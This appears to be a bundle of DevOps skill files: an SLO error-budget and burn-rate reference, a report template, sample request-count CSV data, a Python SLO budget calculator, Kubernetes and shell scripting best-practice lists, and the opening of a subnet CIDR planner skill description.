| page | 2% | 1h | 5m | 14.4 | 13.44 |
| page | 5% | 6h | 30m | 6.0 | 5.6 |
| ticket | 10% | 1d | 2h | 3.0 | 2.8 |
| ticket | 10% | 3d | 6h | 1.0 | 0.93 |

Threshold = budget share x SLO window / long window. Example: 0.02 x 720h / 1h = 14.4.

## Why two windows
- The **long window** proves the problem is significant (enough budget spent).
- The **short window** (about 1/12 of the long one) proves it is still happening, so the alert resets within minutes after recovery instead of staying red for an hour.
- Fire only when both exceed the threshold.

## Example alert rule (Prometheus style)
```
(
  sum(rate(http_requests_errors_total[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)
and
  sum(rate(http_requests_errors_total[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)
)
```

## Tuning
- Low-traffic services: require a minimum number of requests in the short window, or page on 6h only.
- Too many pages: check whether the SLO is stricter than users need before raising thresholds.
- Missed incidents: slow burns below 1.0 never alert by design; review the budget weekly.
- Data step coarser than the short window (e.g. 15-minute buckets): the short window becomes one bucket and recovery detection is slower.

## Budget policy ideas
- Over 50% consumed: review risky changes, prefer canaries.
- Over 75%: release freeze for non-fixes, reliability work first.
- Exhausted: postmortem required; freeze until the rolling window recovers.
FILE:templates/slo-status-report.md
# SLO Status - <service> - <period or incident>

**SLI:** <what counts as good>  **SLO:** <target>% over rolling <28d/30d>
**Data:** <start> to <end> UTC, step <interval>, <n> missing intervals
**Calculator:** `slo_budget.py --slo <target> --window <window>` (exit <code>)

## Budget
| Metric | Value |
|---|---|
| SLI in period | |
| Budget consumed | |
| Budget remaining | |
| Allowed full downtime per window | |

## Burn rates
| 5m | 30m | 1h | 2h | 6h | 1d | 3d |
|---|---|---|---|---|---|---|
| | | | | | | |

## Alerts
| Policy | Status | Long / short burn |
|---|---|---|
| page 1h/5m | | |
| page 6h/30m | | |
| ticket 1d/2h | | |
| ticket 3d/6h | | |

## What happened
<worst interval, user impact, cause if known>

## Decision
- [ ] Page / incident open
- [ ] Release policy: <normal / caution / freeze> because <remaining budget>
- [ ] SLO or alert tuning: <change and reason>

## Summary for stakeholders
> <service> met <SLI>% against a <target>% target. <x>% of this window's error budget is used; at the current pace it lasts <time>. Next step: <decision>.
FILE:examples/checkout-api-requests.csv
timestamp,total,good
2026-10-18T00:00:00Z,4757,4755
2026-10-18T00:15:00Z,4525,4523
2026-10-18T00:30:00Z,4313,4311
2026-10-18T00:45:00Z,4122,4120
2026-10-18T01:00:00Z,3951,3949
2026-10-18T01:15:00Z,3803,3801
2026-10-18T01:30:00Z,3678,3676
2026-10-18T01:45:00Z,3577,3576
2026-10-18T02:00:00Z,3500,3498
2026-10-18T02:15:00Z,3448,3446
2026-10-18T02:30:00Z,3421,3419
2026-10-18T02:45:00Z,3019,3018
2026-10-18T03:00:00Z,3044,3043
2026-10-18T03:15:00Z,3093,3092
2026-10-18T03:30:00Z,3169,3168
2026-10-18T03:45:00Z,3270,3268
2026-10-18T04:00:00Z,3396,3394
2026-10-18T04:15:00Z,3547,3545
2026-10-18T04:30:00Z,3722,3720
2026-10-18T04:45:00Z,3921,3919
2026-10-18T05:00:00Z,4143,4141
2026-10-18T05:15:00Z,4388,4386
2026-10-18T05:30:00Z,4253,4251
2026-10-18T05:45:00Z,4539,4537
2026-10-18T06:00:00Z,4845,4843
2026-10-18T06:15:00Z,5168,5166
2026-10-18T06:30:00Z,5509,5507
2026-10-18T06:45:00Z,5865,5863
2026-10-18T07:00:00Z,6236,6234
2026-10-18T07:15:00Z,6619,6616
2026-10-18T07:30:00Z,7013,7009
2026-10-18T07:45:00Z,7418,7414
2026-10-18T08:00:00Z,7831,7827
2026-10-18T08:15:00Z,7850,7847
2026-10-18T08:30:00Z,8274,8271
2026-10-18T08:45:00Z,8702,8699
2026-10-18T09:00:00Z,9132,9127
2026-10-18T09:15:00Z,9561,9556
2026-10-18T09:30:00Z,9989,9984
2026-10-18T09:45:00Z,10413,10408
2026-10-18T10:00:00Z,10832,10827
2026-10-18T10:15:00Z,11245,11240
2026-10-18T10:30:00Z,11650,11645
2026-10-18T10:45:00Z,12044,12038
2026-10-18T11:00:00Z,12028,12022
2026-10-18T11:15:00Z,12398,12392
2026-10-18T11:30:00Z,12754,12748
2026-10-18T11:45:00Z,13095,13089
2026-10-18T12:00:00Z,13418,13412
2026-10-18T12:15:00Z,13724,13719
2026-10-18T12:30:00Z,14010,14003
2026-10-18T12:45:00Z,14275,14268
2026-10-18T13:00:00Z,14520,14513
2026-10-18T13:15:00Z,14742,14735
2026-10-18T13:30:00Z,14941,14934
2026-10-18T13:45:00Z,14716,14710
2026-10-18T14:00:00Z,14867,14861
2026-10-18T14:15:00Z,14993,14985
2026-10-18T14:30:00Z,15094,15086
2026-10-18T14:45:00Z,15170,15163
2026-10-18T15:00:00Z,15220,15213
2026-10-18T15:15:00Z,15244,15237
2026-10-18T15:30:00Z,15242,15236
2026-10-18T15:45:00Z,15215,15209
2026-10-18T16:00:00Z,15163,15155
2026-10-18T16:15:00Z,14686,14679
2026-10-18T16:30:00Z,14585,14578
2026-10-18T16:45:00Z,14460,14453
2026-10-18T17:00:00Z,14312,14306
2026-10-18T17:15:00Z,14141,14135
2026-10-18T17:30:00Z,13950,13866
2026-10-18T17:45:00Z,13738,13656
2026-10-18T18:00:00Z,13506,13499
2026-10-18T18:15:00Z,13257,13251
2026-10-18T18:30:00Z,12990,12984
2026-10-18T18:45:00Z,12708,12702
2026-10-18T19:00:00Z,12012,12007
2026-10-18T19:15:00Z,11702,11697
2026-10-18T19:30:00Z,11382,11376
2026-10-18T19:45:00Z,11051,11045
2026-10-18T20:00:00Z,10712,10707
2026-10-18T20:15:00Z,10367,10362
2026-10-18T20:30:00Z,10017,10013
2026-10-18T20:45:00Z,9663,9659
2026-10-18T21:00:00Z,9308,9304
2026-10-18T21:15:00Z,8952,8947
2026-10-18T21:30:00Z,8598,8594
2026-10-18T21:45:00Z,7848,7844
2026-10-18T22:00:00Z,7503,7500
2026-10-18T22:15:00Z,7164,7161
2026-10-18T22:30:00Z,6833,6830
2026-10-18T22:45:00Z,6513,6510
2026-10-18T23:00:00Z,6204,6201
2026-10-18T23:15:00Z,5907,5904
2026-10-18T23:30:00Z,5625,5622
2026-10-18T23:45:00Z,5358,5356
2026-10-19T00:00:00Z,5109,5107
2026-10-19T00:15:00Z,4877,4875
2026-10-19T00:30:00Z,4265,4263
2026-10-19T00:45:00Z,4074,4072
2026-10-19T01:00:00Z,3903,3901
2026-10-19T01:15:00Z,3755,3753
2026-10-19T01:30:00Z,3630,3628
2026-10-19T01:45:00Z,3529,3527
2026-10-19T02:00:00Z,3452,3451
2026-10-19T02:15:00Z,3400,3399
2026-10-19T02:30:00Z,3373,3371
2026-10-19T02:45:00Z,3371,3369
2026-10-19T03:00:00Z,3396,3394
2026-10-19T03:15:00Z,3045,3044
2026-10-19T03:30:00Z,3121,3120
2026-10-19T03:45:00Z,3222,3221
2026-10-19T04:00:00Z,3348,3347
2026-10-19T04:15:00Z,3499,3497
2026-10-19T04:30:00Z,3674,3672
2026-10-19T04:45:00Z,3873,3871
2026-10-19T05:00:00Z,4095,4093
2026-10-19T05:15:00Z,4340,4338
2026-10-19T05:30:00Z,4605,4603
2026-10-19T05:45:00Z,4491,4489
2026-10-19T06:00:00Z,4797,4795
2026-10-19T06:15:00Z,5120,5117
2026-10-19T06:30:00Z,5461,5458
2026-10-19T06:45:00Z,5817,5814
2026-10-19T07:00:00Z,6188,6185
2026-10-19T07:15:00Z,6571,6568
2026-10-19T07:30:00Z,6965,6962
2026-10-19T07:45:00Z,7370,7366
2026-10-19T08:00:00Z,7783,7779
2026-10-19T08:15:00Z,8202,8198
2026-10-19T08:30:00Z,8226,8222
2026-10-19T08:45:00Z,8654,8650
2026-10-19T09:00:00Z,9084,9080
2026-10-19T09:15:00Z,9513,9509
2026-10-19T09:30:00Z,9941,9936
2026-10-19T09:45:00Z,10365,10360
2026-10-19T10:00:00Z,10784,10779
2026-10-19T10:15:00Z,11197,11192
2026-10-19T10:30:00Z,11602,11597
2026-10-19T10:45:00Z,11996,11991
2026-10-19T11:00:00Z,12380,12375
2026-10-19T11:15:00Z,12350,12344
2026-10-19T11:30:00Z,12706,12700
2026-10-19T11:45:00Z,13047,13041
2026-10-19T12:00:00Z,13370,13364
2026-10-19T12:15:00Z,13676,13670
2026-10-19T12:30:00Z,13962,13956
2026-10-19T12:45:00Z,14227,14221
2026-10-19T13:00:00Z,14472,14464
2026-10-19T13:15:00Z,14694,14687
2026-10-19T13:30:00Z,14893,14886
2026-10-19T13:45:00Z,15068,15061
2026-10-19T14:00:00Z,14819,14812
2026-10-19T14:15:00Z,14945,14939
2026-10-19T14:30:00Z,15046,15040
2026-10-19T14:45:00Z,15122,15114
2026-10-19T15:00:00Z,15172,15164
2026-10-19T15:15:00Z,15196,15189
2026-10-19T15:30:00Z,15194,15187
2026-10-19T15:45:00Z,15167,15160
2026-10-19T16:00:00Z,15115,15109
2026-10-19T16:15:00Z,15038,15032
2026-10-19T16:30:00Z,14937,14929
2026-10-19T16:45:00Z,14412,14405
2026-10-19T17:00:00Z,14264,14257
2026-10-19T17:15:00Z,14093,14087
2026-10-19T17:30:00Z,13902,13896
2026-10-19T17:45:00Z,13690,13684
2026-10-19T18:00:00Z,13458,13453
2026-10-19T18:15:00Z,13209,13202
2026-10-19T18:30:00Z,12942,12936
2026-10-19T18:45:00Z,12660,12654
2026-10-19T19:00:00Z,12364,12358
2026-10-19T19:15:00Z,11654,11649
2026-10-19T19:30:00Z,11334,11329
2026-10-19T19:45:00Z,11003,10999
2026-10-19T20:00:00Z,10664,10658
2026-10-19T20:15:00Z,10319,10314
2026-10-19T20:30:00Z,9969,9964
2026-10-19T20:45:00Z,9615,9611
2026-10-19T21:00:00Z,9260,9256
2026-10-19T21:15:00Z,8904,8900
2026-10-19T21:30:00Z,8550,8547
2026-10-19T21:45:00Z,8200,8196
2026-10-19T22:00:00Z,7455,7298
2026-10-19T22:15:00Z,7116,6959
2026-10-19T22:30:00Z,6785,6629
2026-10-19T22:45:00Z,6465,6310
2026-10-19T23:00:00Z,6156,6002
2026-10-19T23:15:00Z,5859,5707
2026-10-19T23:30:00Z,5577,5426
2026-10-19T23:45:00Z,5310,5161
FILE:scripts/slo_budget.py
#!/usr/bin/env python3
"""SLO error budget and burn rate calculator (Python 3 standard library only).

Input: CSV with one row per interval, the timestamp marking the START of the interval, and request
counts. Accepted columns (case-insensitive): timestamp|time|ts, total|requests|count, and either
good|success|ok or bad|errors|failed. Timestamps: ISO 8601 (Z or offset) or Unix seconds.

Math (see references/slo-math.md):
  error budget (fraction)  = 1 - SLO                          e.g. 99.9% -> 0.001
  error rate over window   = sum(bad) / sum(total)
  burn rate                = error rate / (1 - SLO)           1.0 = spends exactly the budget over the SLO window
  budget consumed so far   = sum(bad) / ((1 - SLO) * expected requests in the SLO window)
  alert threshold          = budget share * window hours / long window hours   (14.4 = 2% of 30d in 1h)

Default multiwindow, multi-burn-rate policy (Google SRE Workbook): page 2% in 1h (short 5m),
page 5% in 6h (short 30m), ticket 10% in 1d (short 2h), ticket 10% in 3d (short 6h). An alert fires
only when BOTH the long and the short window burn faster than the threshold. Windows shorter than
the data step are rounded up to one step; windows longer than the data are reported as not evaluable.

Usage:
  python3 slo_budget.py requests.csv --slo 99.9 --window 30d
  python3 slo_budget.py requests.csv --slo 99.5 --window 28d --json
  python3 slo_budget.py --allowance --slo 99.95 --window 30d     # downtime allowed, no CSV needed
  python3 slo_budget.py --self-test
Exit code: 0 OK, 1 a page alert fires or the budget is exhausted, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import json
import re
import statistics
import sys

POLICY = [
    # (severity, long window, short window, budget share)
    ("page", "1h", "5m", 0.02),
    ("page", "6h", "30m", 0.05),
    ("ticket", "1d", "2h", 0.10),
    ("ticket", "3d", "6h", 0.10),
]
ALIASES = {
    "ts": ("timestamp", "time", "ts", "date", "datetime"),
    "total": ("total", "requests", "count", "events"),
    "good": ("good", "success", "ok", "successes"),
    "bad": ("bad", "errors", "failed", "failures", "error"),
}


class SLOError(ValueError):
    pass


def parse_duration(s):
    m = re.fullmatch(r"\s*(\d+(?:\.\d+)?)\s*([smhdw])\s*", str(s).lower())
    if not m:
        raise SLOError(f"bad duration {s!r} (use e.g. 5m, 1h, 28d)")
    return float(m.group(1)) * {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800}[m.group(2)]


def fmt_dur(sec):
    sec = int(round(sec))
    if sec >= 86400:
        d, h = divmod(sec // 3600, 24)
        return f"{d}d {h}h" if h else f"{d}d"
    if sec >= 3600:
        h, m = divmod(sec // 60, 60)
        return f"{h}h {m}m" if m else f"{h}h"
    if sec >= 60:
        m, s = divmod(sec, 60)
        return f"{m}m {s}s" if s else f"{m}m"
    return f"{sec}s"


def parse_ts(v):
    v = v.strip()
    if re.fullmatch(r"\d+(\.\d+)?", v):
        return dt.datetime.fromtimestamp(float(v), dt.timezone.utc)
    t = dt.datetime.fromisoformat(v.replace("Z", "+00:00").replace(" ", "T"))
    if t.tzinfo is None:
        t = t.replace(tzinfo=dt.timezone.utc)
    return t.astimezone(dt.timezone.utc)


def load_rows(lines):
    rd = csv.DictReader(lines)
    if not rd.fieldnames:
        raise SLOError("empty CSV")
    cols = {}
    lower = {f.strip().lower(): f for f in rd.fieldnames}
    for key, names in ALIASES.items():
        for n in names:
            if n in lower:
                cols[key] = lower[n]
                break
    if "ts" not in cols or "total" not in cols or not ({"good", "bad"} & cols.keys()):
        raise SLOError(f"need timestamp, total and good or bad columns; got {rd.fieldnames}")
    rows = []
    for i, r in enumerate(rd, 2):
        try:
            ts = parse_ts(r[cols["ts"]])
            total = int(float(r[cols["total"]]))
            bad = int(float(r[cols["bad"]])) if "bad" in cols else total - int(float(r[cols["good"]]))
        except (ValueError, TypeError) as e:
            raise SLOError(f"line {i}: {e}")
        if total < 0 or bad < 0 or bad > total:
            raise SLOError(f"line {i}: counts must satisfy 0 <= bad <= total (total={total}, bad={bad})")
        rows.append((ts, total, bad))
    if len(rows) < 2:
        raise SLOError("need at least two rows")
    rows.sort(key=lambda r: r[0])
    return rows


def analyze(rows, slo_pct, window, now=None, policy=POLICY):
    if not 0 < slo_pct < 100:
        raise SLOError("SLO must be between 0 and 100 (exclusive), e.g. 99.9")
    budget = 1 - slo_pct / 100
    win = parse_duration(window)
    diffs = [(b[0] - a[0]).total_seconds() for a, b in zip(rows, rows[1:])]
    step = statistics.median(diffs)
    if step <= 0:
        raise SLOError("duplicate timestamps")
    first = rows[0][0]
    end = (now or rows[-1][0] + dt.timedelta(seconds=step))
    covered = (end - first).total_seconds()
    expected_rows = int(round(covered / step))
    missing = max(0, expected_rows - len(rows))

    def window_stats(seconds):
        seconds = max(seconds, step)
        if seconds > covered + 1e-6:
            return None
        start = end - dt.timedelta(seconds=seconds)
        tot = sum(t for ts, t, b in rows if start <= ts < end)
        bad = sum(b for ts, t, b in rows if start <= ts < end)
        rate = bad / tot if tot else 0.0
        return {"seconds": seconds, "total": tot, "bad": bad, "error_rate": rate, "burn_rate": rate / budget}

    total = sum(r[1] for r in rows)
    bad = sum(r[2] for r in rows)
    req_per_sec = total / covered
    expected_window_total = req_per_sec * win
    allowed_bad = budget * expected_window_total
    consumed = bad / allowed_bad if allowed_bad else 0.0
    alerts = []
    for sev, lw, sw, share in policy:
        thr = share * win / parse_duration(lw)
        L, S = window_stats(parse_duration(lw)), window_stats(parse_duration(sw))
        if L is None or S is None:
            alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr, "status": "not evaluable",
                           "long_burn": None, "short_burn": None})
            continue
        fires = L["burn_rate"] >= thr and S["burn_rate"] >= thr
        alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr,
                       "status": "FIRING" if fires else "ok",
                       "long_burn": L["burn_rate"], "short_burn": S["burn_rate"]})
    burn = {}
    for w in ("5m", "30m", "1h", "2h", "6h", "1d", "3d"):
        s = window_stats(parse_duration(w))
        burn[w] = None if s is None else s["burn_rate"]
    remaining_bad = allowed_bad - bad
    exhaust = {}
    for w in ("1h", "6h", "1d"):
        s = window_stats(parse_duration(w))
        if s and s["bad"] > 0 and remaining_bad > 0:
            exhaust[w] = remaining_bad / (s["bad"] / s["seconds"])
        elif s:
            exhaust[w] = 0.0 if remaining_bad <= 0 else None
    worst = max(rows, key=lambda r: (r[2] / r[1] if r[1] else 0, r[0]))
    return {
        "slo_percent": slo_pct, "window": window, "window_seconds": win, "step_seconds": step,
        "data_start": first.strftime("%Y-%m-%dT%H:%M:%SZ"), "data_end": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
        "rows": len(rows), "missing_intervals": missing,
        "total": total, "bad": bad, "sli_percent": 100 * (1 - bad / total) if total else 100.0,
        "allowed_bad_in_window": allowed_bad, "budget_consumed": consumed, "budget_remaining": 1 - consumed,
        "allowed_downtime_seconds": budget * win,
        "burn_rates": burn, "alerts": alerts, "exhaustion_seconds": exhaust,
        "worst_interval": {"start": worst[0].strftime("%Y-%m-%dT%H:%M:%SZ"), "total": worst[1], "bad": worst[2],
                           "error_rate": worst[2] / worst[1] if worst[1] else 0.0},
    }


def allowance_table(slo_pct, window):
    win = parse_duration(window)
    b = 1 - slo_pct / 100
    return {"slo_percent": slo_pct, "window": window, "allowed_downtime_seconds": b * win,
            "per_day_seconds": b * 86400, "per_week_seconds": b * 604800,
            "thresholds": [{"severity": s, "long": l, "short": sh, "share": sha, "burn_rate": sha * win / parse_duration(l)}
                           for s, l, sh, sha in POLICY]}


def to_markdown(r):
    pct = lambda x: f"{100 * x:.1f}%"
    out = [f"# SLO error budget report", "",
           f"**SLO:** {r['slo_percent']}% over {r['window']}  **Data:** {r['data_start']} to {r['data_end']} "
           f"({r['rows']} rows, step {fmt_dur(r['step_seconds'])}, {r['missing_intervals']} missing)",
           f"**SLI over data:** {r['sli_percent']:.4f}%  ({r['bad']:,} bad of {r['total']:,})",
           f"**Error budget:** {r['allowed_bad_in_window']:,.0f} bad requests per {r['window']} at current traffic "
           f"(= {fmt_dur(r['allowed_downtime_seconds'])} of full downtime)",
           f"**Consumed so far:** {pct(r['budget_consumed'])}  **Remaining:** {pct(r['budget_remaining'])}", "",
           "## Burn rates (1.0 = on budget)", "", "| Window | Burn rate |", "|---|---|"]
    for w, v in r["burn_rates"].items():
        out.append(f"| {w} | {'n/a' if v is None else f'{v:.2f}'} |")
    out += ["", "## Alert policy", "", "| Severity | Long / short window | Threshold | Long burn | Short burn | Status |",
            "|---|---|---|---|---|---|"]
    for a in r["alerts"]:
        lb = "n/a" if a["long_burn"] is None else f"{a['long_burn']:.2f}"
        sb = "n/a" if a["short_burn"] is None else f"{a['short_burn']:.2f}"
        out.append(f"| {a['severity']} | {a['long']} / {a['short']} | {a['threshold']:.1f} | {lb} | {sb} | {a['status']} |")
    out += ["", "## Time to exhaustion at recent burn"]
    for w, s in r["exhaustion_seconds"].items():
        out.append(f"- at last {w} rate: " + ("budget already exhausted" if s == 0 else ("no errors in window" if s is None else fmt_dur(s))))
    wi = r["worst_interval"]
    out += ["", f"Worst interval: {wi['start']} with {wi['bad']:,} bad of {wi['total']:,} ({100 * wi['error_rate']:.2f}%)"]
    return "\n".join(out)


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    t0 = dt.datetime(2026, 1, 1, tzinfo=dt.timezone.utc)

    def series(n, step_min, total, bad_fn):
        return [(t0 + dt.timedelta(minutes=step_min * i), total, bad_fn(i)) for i in range(n)]

    ok("duration parse", parse_duration("28d") == 28 * 86400 and parse_duration("5m") == 300)
    ok("duration format", fmt_dur(43.2 * 60) == "43m 12s" and fmt_dur(86400 * 3) == "3d")
    a = allowance_table(99.9, "30d")
    ok("99.9% of 30d allows 43m 12s", round(a["allowed_downtime_seconds"]) == 2592)
    ok("page threshold 14.4 for 30d", abs(a["thresholds"][0]["burn_rate"] - 14.4) < 1e-9)
    ok("28d threshold scales to 13.44", abs(allowance_table(99.9, "28d")["thresholds"][0]["burn_rate"] - 13.44) < 1e-9)
    flat = series(4 * 24 * 4, 15, 10000, lambda i: 10)          # 0.1% errors at 99.9 -> burn 1.0
    r = analyze(flat, 99.9, "30d")
    ok("steady burn rate is 1.0", abs(r["burn_rates"]["1h"] - 1.0) < 1e-9 and abs(r["burn_rates"]["1d"] - 1.0) < 1e-9)
    ok("no alert at burn 1.0", all(x["status"] != "FIRING" for x in r["alerts"][:3]))
    ok("burn 1.0 over 4 of 30 days consumes 4/30", abs(r["budget_consumed"] - 4 / 30) < 1e-9)
    ok("SLI computed", abs(r["sli_percent"] - 99.9) < 1e-9)
    spike = series(4 * 24 * 4, 15, 10000, lambda i: 200 if i >= 4 * 24 * 4 - 4 else 5)   # last hour 2% errors
    r = analyze(spike, 99.9, "30d")
    ok("fast burn pages (1h/5m)", r["alerts"][0]["status"] == "FIRING")
    ok("short window rounded up to step", abs(r["burn_rates"]["5m"] - 20.0) < 1e-9)
    ok("6h page not firing for 1h spike", r["alerts"][1]["status"] == "ok")
    recovered = spike[:-2] + [(spike[-2][0], 10000, 5), (spike[-1][0], 10000, 5)]
    r = analyze(recovered, 99.9, "30d")
    ok("short window resets page after recovery", r["alerts"][0]["status"] == "ok")
    short = series(8, 15, 1000, lambda i: 0)
    r = analyze(short, 99.9, "30d")
    ok("long windows not evaluable on 2h of data", r["alerts"][3]["status"] == "not evaluable" and r["burn_rates"]["3d"] is None)
    gap = flat[:10] + flat[12:]
    ok("missing intervals counted", analyze(gap, 99.9, "30d")["missing_intervals"] == 2)
    ok("exhaustion time at burn 1", abs(analyze(flat, 99.9, "30d")["exhaustion_seconds"]["1d"] - 26 * 86400) < 1)
    rows = load_rows(["time,requests,errors", "2026-01-01T00:00:00Z,100,1", "2026-01-01T00:05:00Z,100,0"])
    ok("aliases requests/errors", rows[0][1] == 100 and rows[0][2] == 1)
    rows = load_rows(["ts,total,good", "1767225600,50,49", "1767225900,50,50"])
    ok("unix timestamps and good column", rows[0][2] == 1 and rows[0][0] == t0)
    for data, label in [(["ts,total", "x,1"], "missing good/bad rejected"),
                        (["ts,total,bad", "2026-01-01T00:00:00Z,10,11", "2026-01-01T00:05:00Z,10,0"], "bad > total rejected"),
                        (["ts,total,bad", "nope,10,1", "2026-01-01T00:05:00Z,10,0"], "bad timestamp rejected")]:
        try:
            load_rows(data)
            ok(label, False)
        except SLOError:
            ok(label, True)
    try:
        analyze(flat, 100, "30d")
        ok("SLO 100 rejected", False)
    except SLOError:
        ok("SLO 100 rejected", True)
    ok("markdown has alert table", "## Alert policy" in to_markdown(analyze(flat, 99.9, "30d")))
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Compute SLO error budget consumption and multiwindow burn-rate alerts.")
    ap.add_argument("file", nargs="?", help="CSV of request counts per interval ('-' for stdin)")
    ap.add_argument("--slo", type=float, default=99.9, help="target in percent (default 99.9)")
    ap.add_argument("--window", default="30d", help="SLO window, e.g. 28d or 30d (default 30d)")
    ap.add_argument("--now", help="evaluate as of this ISO time (default: end of the last interval)")
    ap.add_argument("--allowance", action="store_true", help="print allowed downtime and alert thresholds only")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    try:
        if a.allowance:
            t = allowance_table(a.slo, a.window)
            if a.json:
                print(json.dumps(t, indent=2))
            else:
                print(f"SLO {a.slo}% over {a.window}: {fmt_dur(t['allowed_downtime_seconds'])} of full downtime "
                      f"({fmt_dur(t['per_day_seconds'])}/day, {fmt_dur(t['per_week_seconds'])}/week)")
                for x in t["thresholds"]:
                    print(f"  {x['severity']:6} {x['share'] * 100:.0f}% of budget in {x['long']} (short {x['short']}): burn rate >= {x['burn_rate']:.2f}")
            return 0
        if not a.file:
            ap.error("CSV file required (or --allowance / --self-test)")
        lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
        r = analyze(load_rows(lines), a.slo, a.window, parse_ts(a.now) if a.now else None)
    except (OSError, SLOError, ValueError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
    print(json.dumps(r, indent=2) if a.json else to_markdown(r))
    paging = any(x["severity"] == "page" and x["status"] == "FIRING" for x in r["alerts"])
    return 1 if paging or r["budget_remaining"] <= 0 else 0


if __name__ == "__main__":
    sys.exit(main())

# Kubernetes taste of a platform team
- Deploy everything through GitOps (Argo CD or Flux); nobody runs kubectl apply against production by hand. Confidence: 0.90
- Package shared services with Helm or Kustomize, but keep per-environment overlays small and readable. Confidence: 0.80
- Set CPU and memory requests on every container, and set a memory limit equal to the request. Confidence: 0.90
- Avoid CPU limits on latency-sensitive services; rely on requests and node sizing to prevent throttling. Confidence: 0.70
- Give every Deployment a readiness probe; add a liveness probe only when the app can truly deadlock. Confidence: 0.85
- Use a startup probe for slow-booting apps instead of a long initialDelaySeconds on liveness. Confidence: 0.80
- Run at least two replicas behind a PodDisruptionBudget for anything users depend on. Confidence: 0.90
- Spread replicas across zones with topologySpreadConstraints. Confidence: 0.80
- Pin images by digest or an immutable version tag, never latest. Confidence: 0.95
- Run containers as non-root with a read-only root filesystem and all capabilities dropped. Confidence: 0.90
- Enforce the restricted Pod Security Standard on application namespaces. Confidence: 0.80
- Start every namespace with a default-deny NetworkPolicy and open only the flows you need. Confidence: 0.80
- Give each workload its own ServiceAccount and disable token automount when it never calls the API server. Confidence: 0.85
- Keep secrets out of Git; sync them from a secret manager with External Secrets or use Sealed Secrets. Confidence: 0.90
- Use one namespace per team or per app, with a ResourceQuota and a LimitRange. Confidence: 0.80
- Apply the standard app.kubernetes.io labels to every resource. Confidence: 0.75
- Handle SIGTERM and add a short preStop sleep so in-flight requests drain before shutdown. Confidence: 0.85
- Scale stateless services with the HorizontalPodAutoscaler on CPU or a real request-rate metric. Confidence: 0.75
- Run databases on a managed cloud service rather than StatefulSets unless there is a strong reason. Confidence: 0.80
- Validate manifests in CI with kubeconform and a policy engine such as Kyverno or OPA Gatekeeper. Confidence: 0.80
- Keep clusters within two minor versions of the latest Kubernetes release and upgrade on a schedule. Confidence: 0.75
- Expose HTTP services through one shared ingress or Gateway API controller, not a LoadBalancer per service. Confidence: 0.75

# Shell scripting taste of a DevOps engineer
- Start every script with #!/usr/bin/env bash and set -euo pipefail. Confidence: 0.90
- Switch to Python or Go once a script passes about 100 lines or needs real data structures. Confidence: 0.85
- Run ShellCheck in CI and fix warnings instead of silencing them. Confidence: 0.95
- Format scripts with shfmt so diffs stay small. Confidence: 0.75
- Quote every variable expansion ("$var") unless word splitting is intended and commented. Confidence: 0.95
- Use [[ ]] for tests and $(...) for command substitution, never backticks. Confidence: 0.90
- Declare variables inside functions with local. Confidence: 0.85
- Put the logic in functions and call a main "$@" at the bottom of the file. Confidence: 0.80
- Clean up temporary files with mktemp and trap '...' EXIT. Confidence: 0.90
- Write errors and logs to stderr and keep stdout for data other tools can pipe. Confidence: 0.85
- Exit with a non-zero status and a clear message when something fails. Confidence: 0.90
- Provide a usage function and handle -h and --help. Confidence: 0.80
- Parse options with getopts or a simple case loop, not ad hoc positional checks. Confidence: 0.75
- Check required commands up front with command -v and fail early when one is missing. Confidence: 0.85
- Read configuration from environment variables with defaults, such as -8080. Confidence: 0.80
- Never parse ls output; use globs or find -print0 with xargs -0. Confidence: 0.90
- Read files line by line with while IFS= read -r line. Confidence: 0.85
- Use arrays for argument lists instead of building command strings. Confidence: 0.85
- Avoid eval, and never pass untrusted input to it. Confidence: 0.95
- Make scripts idempotent so running them twice is safe. Confidence: 0.85
- Add a --dry-run flag to anything that deletes or changes remote state. Confidence: 0.80
- Stick to POSIX sh only when the script must run in minimal containers; otherwise target bash 4+. Confidence: 0.70

---
name: vpc-subnet-cidr-planner
description: Plans and checks IPv4 subnet layouts for AWS, Azure, GCP or on-prem networks. Sizes each subnet from host counts plus growth and the provider's reserved addresses, allocates aligned CIDR blocks largest-first, and flags overlapping subnets, VPC ranges that clash with peered VPCs, VPNs or the docker0 bridge, public ranges, size limits, low headroom and single-zone layouts. Includes a stdlib Python planner with --self-test.
---

# VPC Subnet CIDR Planner

You help engineers carve a network into subnets that fit today, leave room to grow, and never collide with anything they will need to route to later. You turn "we need public, app and data subnets in two zones" into exact CIDR blocks, explain the numbers, and catch the overlaps that are painful to fix once workloads are running.

## Files in this skill

- `scripts/cidr_plan.py` - sizes and allocates subnets, lists usable host ranges and free blocks, and reports findings (Python 3 standard library only, uses `ipaddress`)
- `references/cidr-math-and-provider-rules.md` - prefix sizes table, alignment, reserved addresses and limits per provider, private ranges
- `references/subnet-layout-playbook.md` - tiered layouts, zone strategy, sizing Kubernetes pod subnets, avoiding overlaps with VPNs and peers, renumbering options
- `templates/subnet-plan.md` - a plan document for review or a pull request
- `examples/shop-platform-vpc.json` - an AWS /18 with legacy subnets, a peered analytics VPC and six new subnets in two zones

## Workflow

### 1. Gather the network facts
Ask for the provider, the VPC / VNet CIDR (or the range they may use), existing subnets, every network it must talk to (peered VPCs, VPNs, on-prem offices, partner links, other clouds), and the subnets they need: purpose, zone, hosts now, and expected growth. For Kubernetes, ask whether pods get VPC addresses (AWS VPC CNI, Azure CNI) because then pod count, not node count, sizes the subnet.

### 2. Run the planner
```
python3 scripts/cidr_plan.py examples/shop-platform-vpc.json
python3 scripts/cidr_plan.py plan.json --json
python3 scripts/cidr_plan.py --self-test
```
Exit code 1 means HIGH findings (overlaps, no space), 2 means bad input (host bits set, IPv6, overlapping VPC ranges).

### 3. Review the result
